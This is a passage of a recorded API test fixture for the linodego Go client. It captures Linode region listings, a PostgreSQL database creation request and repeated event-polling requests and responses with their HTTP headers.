"Cloud Firewall", "Vlans", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.96.17, 172.232.96.26, 172.232.96.19, 172.232.96.20, 172.232.96.25, 172.232.96.21, 172.232.96.18, 172.232.96.22, 172.232.96.23, 172.232.96.24", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "jp-osa", "label": "Osaka, JP", "country": "jp", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.233.64.44, 172.233.64.43, 172.233.64.37, 172.233.64.40, 172.233.64.46, 172.233.64.41, 172.233.64.39, 172.233.64.42, 172.233.64.45, 172.233.64.38", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "it-mil", "label": "Milan, IT", "country": "it", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.192.19, 172.232.192.18, 172.232.192.16, 172.232.192.20, 172.232.192.24, 172.232.192.21, 172.232.192.22, 172.232.192.17, 172.232.192.15, 172.232.192.23", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "us-mia", "label": "Miami, FL", "country": "us", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.233.160.34, 172.233.160.27, 172.233.160.30, 172.233.160.29, 172.233.160.32, 172.233.160.28, 172.233.160.33, 172.233.160.26, 172.233.160.25, 172.233.160.31", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "id-cgk", "label": "Jakarta, ID", "country": "id", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.224.23, 172.232.224.32, 172.232.224.26, 172.232.224.27, 172.232.224.21, 172.232.224.24, 172.232.224.22, 172.232.224.20, 172.232.224.31, 172.232.224.28", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "us-lax", "label": "Los Angeles, CA", "country": "us", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Cloud Firewall", "Vlans", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.233.128.45, 172.233.128.38, 172.233.128.53, 172.233.128.37, 172.233.128.34, 172.233.128.36, 172.233.128.33, 172.233.128.39, 172.233.128.43, 172.233.128.44", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "us-central", "label": "Dallas, TX", "country": "us", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "72.14.179.5, 72.14.188.5, 173.255.199.5, 66.228.53.5, 96.126.122.5, 96.126.124.5, 96.126.127.5, 198.58.107.5, 198.58.111.5, 23.239.24.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "us-west", "label": "Fremont, CA", "country": "us", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "173.230.145.5, 173.230.147.5, 173.230.155.5, 173.255.212.5, 173.255.219.5, 173.255.241.5, 173.255.243.5, 173.255.244.5, 74.207.241.5, 74.207.242.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "us-southeast", "label": "Atlanta, GA", "country": "us", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "74.207.231.5, 173.230.128.5, 173.230.129.5, 173.230.136.5, 173.230.140.5, 66.228.59.5, 66.228.62.5, 50.116.35.5, 50.116.41.5, 23.239.18.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "us-east", "label": "Newark, NJ", "country": "us", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Bare Metal", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "66.228.42.5, 96.126.106.5, 50.116.53.5, 50.116.58.5, 50.116.61.5, 50.116.62.5, 66.175.211.5, 97.107.133.4, 207.192.69.4, 207.192.69.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "eu-west", "label": "London, UK", "country": "gb", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "178.79.182.5, 176.58.107.5, 176.58.116.5, 176.58.121.5, 151.236.220.5, 212.71.252.5, 212.71.253.5, 109.74.192.20, 109.74.193.20, 109.74.194.20", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "ap-south", "label": "Singapore, SG", "country": "sg", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "139.162.11.5, 139.162.13.5, 139.162.14.5, 139.162.15.5, 139.162.16.5, 139.162.21.5, 139.162.27.5, 103.3.60.18, 103.3.60.19, 103.3.60.20", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "eu-central", "label": "Frankfurt, DE", "country": "de", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "139.162.130.5, 139.162.131.5, 139.162.132.5, 139.162.133.5, 139.162.134.5, 139.162.135.5, 139.162.136.5, 139.162.137.5, 139.162.138.5, 139.162.139.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "ap-northeast", "label": "Tokyo, JP", "country": "jp", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "139.162.66.5, 139.162.67.5, 139.162.68.5, 139.162.69.5, 139.162.70.5, 139.162.71.5, 139.162.72.5, 139.162.73.5, 139.162.74.5, 139.162.75.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}], "page": 1, "pages": 1, "results": 24}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=900 - private, max-age=60, s-maxage=60 Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - '*' X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: '{"label":"go-postgres-testing-def","region":"ap-west","type":"g6-nanode-1","engine":"postgresql/14.6","allow_list":["203.0.113.1","192.0.1.0/24"],"cluster_size":3,"replication_type":"asynch"}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/databases/postgresql/instances method: POST response: body: '{"id": 28215, "label": "go-postgres-testing-def", "type": "g6-nanode-1", "engine": "postgresql", "version": "14.6", "region": "ap-west", "status": "provisioning", "encrypted": false, "allow_list": ["203.0.113.1", "192.0.1.0/24"], "cluster_size": 3, "hosts": {"primary": null, "secondary": null}, "ssl_connection": false, "replication_type": "asynch", "replication_commit_type": "local", "port": 5432, "updates": {"frequency": "weekly", "duration": 3, "hour_of_day": 0, "day_of_week": null, "week_of_month": null}, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05"}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=60, s-maxage=60 Content-Length: - "581" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - databases:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2023-09-03T07:23:50"},"entity.id":28215,"entity.type":"database"}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 554719042, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, "duration": null, "action": "database_create", "username": "zliang27", "entity": {"label": "go-postgres-testing-def", "id": 28215, "type": "database", "url": "/v4/databases/postgresql/instances/28215"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "464" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2023-09-03T07:23:50"},"entity.id":28215,"entity.type":"database","id":{"+gte":554719042}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 554719042, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, "duration": null, "action": "database_create", "username": "zliang27", "entity": {"label": "go-postgres-testing-def", "id": 28215, "type": "database", "url": "/v4/databases/postgresql/instances/28215"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "464" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2023-09-03T07:23:50"},"entity.id":28215,"entity.type":"database","id":{"+gte":554719042}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 554719042, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, "duration": null, "action": "database_create", "username": "zliang27", "entity": {"label": "go-postgres-testing-def", "id": 28215, "type": "database", "url": "/v4/databases/postgresql/instances/28215"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "464" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2023-09-03T07:23:50"},"entity.id":28215,"entity.type":"database","id":{"+gte":554719042}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 554719042, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, "duration": null, "action": "database_create", "username": "zliang27", "entity": {"label": "go-postgres-testing-def", "id": 28215, "type": "database", "url": "/v4/databases/postgresql/instances/28215"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "464" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2023-09-03T07:23:50"},"entity.id":28215,"entity.type":"database","id":{"+gte":554719042}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 554719042, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, "duration": null, "action": "database_create", "username": "zliang27", "entity": {"label": "go-postgres-testing-def", "id": 28215, "type": "database", "url": "/v4/databases/postgresql/instances/28215"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "464" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2023-09-03T07:23:50"},"entity.id":28215,"entity.type":"database","id":{"+gte":554719042}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 554719042, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, "duration": null, "action": "database_create", "username": "zliang27", "entity": {"label": "go-postgres-testing-def", "id": 28215, "type": "database", "url": "/v4/databases/postgresql/instances/28215"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "464" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2023-09-03T07:23:50"},"entity.id":28215,"entity.type":"database","id":{"+gte":554719042}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 554719042, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, "duration": null, "action": "database_create", "username": "zliang27", "entity": {"label": "go-postgres-testing-def", "id": 28215, "type": "database", "url": "/v4/databases/postgresql/instances/28215"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "464" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2023-09-03T07:23:50"},"entity.id":28215,"entity.type":"database","id":{"+gte":554719042}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 554719042, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, "duration": null, "action": "database_create", "username": "zliang27", "entity": {"label": "go-postgres-testing-def", "id": 28215, "type": "database", "url": "/v4/databases/postgresql/instances/28215"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "464" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2023-09-03T07:23:50"},"entity.id":28215,"entity.type":"database","id":{"+gte":554719042}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 554719042, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, "duration": null, "action": "database_create", "username": "zliang27", "entity": {"label": "go-postgres-testing-def", "id": 28215, "type": "database", "url": "/v4/databases/postgresql/instances/28215"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "464" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2023-09-03T07:23:50"},"entity.id":28215,"entity.type":"database","id":{"+gte":554719042}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 554719042, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, "duration": null, "action": "database_create", "username": "zliang27", "entity": {"label": "go-postgres-testing-def", "id": 28215, "type": "database", "url": "/v4/databases/postgresql/instances/28215"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "464" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2023-09-03T07:23:50"},"entity.id":28215,"entity.type":"database","id":{"+gte":554719042}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 554719042, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, "duration": null, "action": "database_create", "username": "zliang27", "entity": {"label": "go-postgres-testing-def", "id": 28215, "type": "database", "url": "/v4/databases/postgresql/instances/28215"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "464" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2023-09-03T07:23:50"},"entity.id":28215,"entity.type":"database","id":{"+gte":554719042}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 554719042, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, "duration": null, "action": "database_create", "username": "zliang27", "entity": {"label": "go-postgres-testing-def", "id": 28215, "type": "database", "url": "/v4/databases/postgresql/instances/28215"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "464" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: 